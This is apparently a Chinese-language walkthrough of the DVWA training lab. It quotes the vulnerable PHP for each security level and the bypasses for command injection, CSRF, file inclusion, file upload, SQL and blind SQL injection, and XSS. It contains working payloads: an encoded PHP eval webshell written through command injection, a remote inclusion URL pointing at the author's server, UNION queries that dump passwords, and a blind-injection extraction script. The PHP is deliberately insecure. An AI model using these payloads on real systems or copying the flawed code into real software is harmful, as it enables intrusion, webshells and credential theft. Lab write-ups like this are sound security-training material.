Command Injection

Low

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
} ?>

渗透思路

这道题目在之前的CTF上也有出现过,可以使用;来堆叠指令,ls的指令的回显也会直接显示在页面上。后面想写入一句话木马,但是发现$_POST这个字段过滤了,也没法双写绕过,稍微查了一下Linux的命令,发现可以使用awk命令写入,payload如下

127.0.0.1;awk 'BEGIN{printf "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,39,97,39,93,41,59,63,62}' >> test.php

这个是全部用ASC写入的,有点长,要视具体情况而定,根据这道题也可以简化一下

127.0.0.1;awk 'BEGIN{printf "<?php @eval(%c%c%c%c%c%c[%ca%c]);?>\n",36,95,80,79,83,84,39,39}' >> test.php

Medium

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
); // Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
} ?>

对&&和;进行了过滤

渗透思路

这个等级和Low差不多,源代码是将&&和;替换成空,我们只要用管道符|同样可以执行命令。payload与Low类似

High

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]); // Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
); // Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
} ?>

渗透思路

这个等级过滤了很多危险字符,但是有一个点就是过滤管道符|的时候后面多了个空格,不知道是写DVWA的时候疏忽还是故意就是这样的,所以管道符后面不加空格就可以直接绕过。

Impossible

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target ); // Split the IP into 4 octects
$octet = explode( ".", $target ); // Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

最高等级做了Anti-CSRP的检测,并且把ip地址split开来,然后进行重新组合,杜绝了命令注入的可能性。

CSRF

Low

比较关键的部分代码如下:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

渗透思路

可以看到使用GET传参来直接提交,然后这里其实后来也没有任何检测,我们可以直接构造一个url让受害者改动自己的密码:

http://127.0.0.1/vulnerabilities/csrf/?username=admin&password=123&Login=Login&Change=Change

这样看起来会比较明显,用url编码一下就看不出来了,所以说平时不要随便点链接就是这样子

Medium

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

可以发现Medium对Http Referer也进行了检查,希望通过检查是否包含了SERVER_NAME来抵御CSRF攻击

渗透思路

看似很好,但是仍然存在漏洞,因为只要我的文件名就是他的主机名,那这样即使我的Referer的主机名和受攻击网站的主机名不同,但是我的Referer仍然包含受攻击网站的主机名,也就逃过了检测。

High

来看看High级别是怎么做的

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} // Generate Anti-CSRF token
generateSessionToken();
?>

High级别用到了Anti-CSRF,用户每次访问修改密码界面时,服务器会返回一个user_token,提交修改的密码时,需要提交这个user_token,两者一致才能生效。

渗透思路

一开始我尝试着在自己的电脑上弄一个html主页,然后通过iframe标签获取到token,当用户访问这个页面时获取token然后js直接提交,看上去顺理成章,但是后面我发现根本获取不到token。后来了解到这是因为牵扯到了浏览器的跨域问题,攻击者的主页是无法直接获取另一域名网站底下的内容的,除非该网站主动给攻击者发送信息。所以要获取token,要把我们的我们的攻击代码放到被攻击网站上面,才有可能生效。这部分可以结合XSS结合攻击,做到XSS再来结合讲一下。

File Inclusion

allow_url_inlcude On

考的文件包含,做之前要先开启allow_url_include这个函数。观察他的url格式:http://127.0.0.1/vulnerabilities/fi/?page=xxx,他回去读取xxx这个文件,可以是该网站下相对路径的url,也可以是远程url,也就是我们自己搭建的vps。在自己的vps上防止一个文件,文件格式可以是txt也可以是html,图片也行,总之就是要包含一句话木马的代码,这样被include的时候就会被当作php代码执行。payload如下,直接蚁剑连之:

http://127.0.0.1/vulnerabilities/fi/?page=http://172.17.0.1:8080/

但是看到篇文章说allow_url_include关闭也是可以的,这里来实践一下

allow_url_include Off

allow_url_include关闭时,php不会加载远程http或者ftp资源,但是没有禁止UNC路径加载,所以我们只要用UNC路径来加载我们的一句话就好了。由于Linux没有UNC路径,所以这种方法只能在Windows下使用,使用UNC路径有两种方法:

用docker创建一个webdav服务器:

docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav

然后把php文件放到/root/webdav/data目录下面,使用payload,蚁剑连之:

http://127.0.0.1/page.php?file=//127.0.0.1//webdav/index.php

Low

渗透思路

没有任何过滤,直接最普通的文件包含

Medium

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file ); ?>

渗透思路

可以看到对http协议和../进行了过滤,但是只过滤了一次,我们直接双写就可以绕过了。

High

File Inclusion Source
vulnerabilities/fi/source/high.php
<?php // The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

渗透思路

这里使用fnmatch用来匹配输入文件名,只能是file*或者include.php,但是file不禁的话我们就能够利用file://这个协议去配合文件上传来实现getshell,这个就放到下面文件包含讲。

File Upload

Low

这个就不说了,没有做任何防护,直接就能够上传一句话木马

Medium

来看看源代码

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

可以看到对文件格式要求为白名单,要求格式为png或者jpg,并且文件大小必须大于等于100000。所以思路也很清晰了,直接拿一张能上传的图片,在图片末尾插入一句话木马,然后上传抓包,将文件名的png或者jpg改为php,只要保持http报头中的Content-Type不变,就能不被上面的代码检测出来。然后用蚁剑连接就可以了。

Hard

贴一下代码,展示一下具体增加了的部分:

<?php
.
.
.
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
.
.
.
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {
.
.
.
}
?>

从源代码可以看到由原本的对Content-Type字段进行检测变为对文件后缀的检测,并且比较前都转为了小写,避免了大小写绕过的可能。在PHP版本小于5.3.4的情况下是可以使用.php%00.jpg后缀来截断文件名实现php文件的上传,但是现在php版本不符合要求,只能配合文件包含漏洞进行getshell。先上传一个文件吗,得到路径为/var/www/html/hackable/uploads/test.php.jpg,然后直接蚁剑连接,payload:

http://127.0.0.1/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/test.php.jpg

Impossible

这个等级的防护就很严格了

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img ); // Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
} // Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

除了对拓展名进行检测外,还对文件名进行了重写,以及对文件图像的内容进行过滤,来杜绝漏洞的产生。

SQL Injection

Low

源码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} mysqli_close($GLOBALS["___mysqli_ston"]);
} ?>

最简单的注入,没有进行任何的过滤就直接进行查询,可以用sqlmap直接注入,手注太简单就不说了

Medium

源码如下:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} } // This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]);
?>

简单测试就可以知道这里存在数字型注入,源代码中使用了mysqli_real_escape_string来过滤危险字符,然而数字型注入根本不需要用到单引号,所以基本上是形同虚设。简单的sqlmap就能破,直接看看High吧

High

源码:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

这个等级的代码使用了session来存储查询的id,sqlmap是不能直接用了,我们可以直接手注,虽然用了limit来限制查询个数,但是我们可以直接用group_concat或者直接注释掉他。经判断是字符型注入,显示位数2两位,可以使用联合注入查询

查询所有数据库:

1' union select schema_name,2 from information_schema.schemata#

查询dvwa所有表:

1' union select table_name,2 from information_schema.tables#

查询users表所有列:

1' union select column_name,2 from information_schema.columns#

查询name,password字段:

1' union select user,password from users#

Impossible

源码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$id = $_GET[ 'id' ]; // Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch(); // Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

这个等级就比较狗了,使用了PDO技术来防止注入,查询完还判断了结果是不是只有一条,是才反馈到前端。

SQL Injection (Blind)

Low

源码:

<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ]; // Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>

只能查询id是否存在于数据库中,存在返回User ID exists in the database.,不存在的话返回User ID is MISSING from the database.,自己写了一个布尔盲注脚本,比较粗糙,实际上可以用二分法加快速度

import requests
from requests.cookies import RequestsCookieJar
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" } cookies={
"PHPSESSID":"p1u3ud3jio221k3gd3fm5k0cs4",
"security":"low"
} schema_length_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select length(group_concat(schema_name)) from information_schema.schemata)={}%23&Submit=Submit"
#length 23
schema_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select ascii(substr(group_concat(schema_name),{},1)) from information_schema.schemata)={}%23&Submit=Submit"
#schema: dvwa,information_schema
talbe_length_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select length(group_concat(table_name)) from information_schema.tables where table_schema='dvwa')={}%23&Submit=Submit"
#length 15
table_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select ascii(substr(group_concat(table_name),{},1)) from information_schema.tables where table_schema='dvwa')={}%23&Submit=Submit"
#tables in dvwa:guestbook,users
column_length_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select length(group_concat(column_name)) from information_schema.columns where table_name='users')={}%23&Submit=Submit"
#length 73
column_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select ascii(substr(group_concat(column_name),{},1)) from information_schema.columns where table_name='users')={}%23&Submit=Submit"
#column in table users: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
length_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select length(group_concat(user)) from dvwa.users)={}%23&Submit=Submit"
#length 31
url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select ascii(substr(group_concat(user),{},1)) from dvwa.users)={}%23&Submit=Submit" ## 爆长度 for i in range(100):
if("exists".encode('utf-8') in re.content):
print(i)
break ## 爆内容 for i in range(73):
for j in range(200):
re = requests.get(url.format(str(i+1),str(j)),headers=headers,cookies=cookies)
if("exists".encode('utf-8') in re.content):
print(chr(j),end="")
break

Medium

源码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
} //mysql_close();
} ?>

中级的其实跟SQL Injection的中级差不多,都是使用了'mysqli_real_escape_string'但是却是数字型注入,虽然说之前在查询列名的事后要用到table_name='',但是这里表名其实可以转换成十六进制来用,这样就用不到单引号了,这个也是看别人博客学到的,感觉很神奇,所以之前的payload拿来改改就能用了

High

源码:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ]; // Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
} // User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>

High级别也没什么意思,就是换成cookie注入而已,上面脚本改一改同样能用

Impossible

源码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$id = $_GET[ 'id' ]; // Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute(); // Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

防御手法同SQL Injection

DOM Based Cross Site Scripting (XSS)

Low

源码:

<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>

DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。

这里的js脚本不经检查就把default参数直接写入,很容易造成XSS,payload也比较简单,直接写自己想执行的js语句就好了

Medium

源码:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default']; # Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
} ?>

中等级的在服务器端对default进行了检查,使得<script>标签不起作用,但是我们仍然可以使用其他标签进行绕过,这点在下面的反射性漏洞中有提及。

High

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
} ?>

这个用的白名单,一开始我也感觉没有什么办法,知道后面看见了别人的笔记才发现,URL有一个比较关键的点就是#号后面的内容是会被服务器忽略的,而这里用的JS是提取default=后面的所有内容,包括#,这样#后面的JS代码也能够成功植入,payload:

?default=English#<script>alert(1);</script>

Impossible

这个竟然不URL解码直接贴上来。。好吧

Reflected Cross Site Scripting (XSS)

Low

源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
} ?>

通过简单的拼接将输入的name反馈到前端,直接<script>alert(1);</script>就能试出来了,这种攻击方式主要是诱导用户点击危险的url配合vps导致Cookie被盗取,像上面的是直接get传参的,那么对后面的利用语句进行url编码,就能欺骗一般人去点击。

Medium

源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
} ?>

简单的过滤,这种只要双写就能绕过了,过滤危险字符务必多次过滤。

High

源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
} ?>

这里的防御思路是过滤<script>标签,但是并不一定只有这种标签才能触发js函数,除此之外可以用onload事件,onerror事件,onclick事件,onkeydown事件等等。

Impossible

源码:


<?php // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
} // Generate Anti-CSRF token
generateSessionToken(); ?>

最有效的办法就是用htmlspecialchars事件将所有危险字符转移掉,这样就比较难造成XSS

Stored Cross Site Scripting (XSS)

Low

源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = stripslashes( $message );
